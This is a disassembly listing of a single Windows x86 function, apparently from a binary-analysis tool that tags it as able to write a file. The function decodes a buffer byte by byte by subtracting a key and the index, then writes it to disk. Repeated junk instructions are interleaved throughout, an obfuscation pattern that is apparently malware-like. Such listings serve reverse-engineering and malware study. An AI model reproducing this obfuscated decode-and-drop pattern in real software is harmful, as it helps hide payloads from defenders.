Function at 0x404350
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 9], 0
mov dword [ebp - 4], 0x2a
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00405870
add esp, 4
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 8], 0xffffffff
je 0x404639
mov dword [ebp - 0x1c], 0
jmp 0x404459
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp + 0xc]
jae 0x404605
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x1c]
mov cl, byte [eax]
mov byte [ebp - 0x15], cl
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx edx, byte [ebp + 0x14]
movsx eax, byte [ebp - 0x15]
sub eax, edx
mov byte [ebp - 0x15], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
movsx ecx, byte [ebp - 0x15]
sub ecx, dword [ebp - 0x1c]
mov byte [ebp - 0x15], cl
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
cmp dword [ebp - 0x1c], 0x2f0
jbe 0x404591
cmp dword [ebp - 0x1c], 0x2ff
jae 0x404591
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
call fcn.0040587a
mov byte [ebp - 0x15], al
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
push 0
lea edx, [ebp - 0x10]
push edx
push 1
lea eax, [ebp - 0x15]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x14], edx
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
jmp 0x404450
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x404639
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov byte [ebp - 9], 1
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 0x76
mov al, 1
mov al, 0xf6
mov al, 0xf7
mov al, 0x38
mov al, 0x73
mov al, 0x72
mov al, 0x49
mov al, 0xc0
mov al, 0x83
mov al, 0x46
mov al, 0x77
mov al, 0x76
mov al, 0x4d
mov al, 0xc4
mov al, 0x86
mov al, 0x4c
mov al, 0x6f
mov al, 0x71
mov al, 0xb7
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret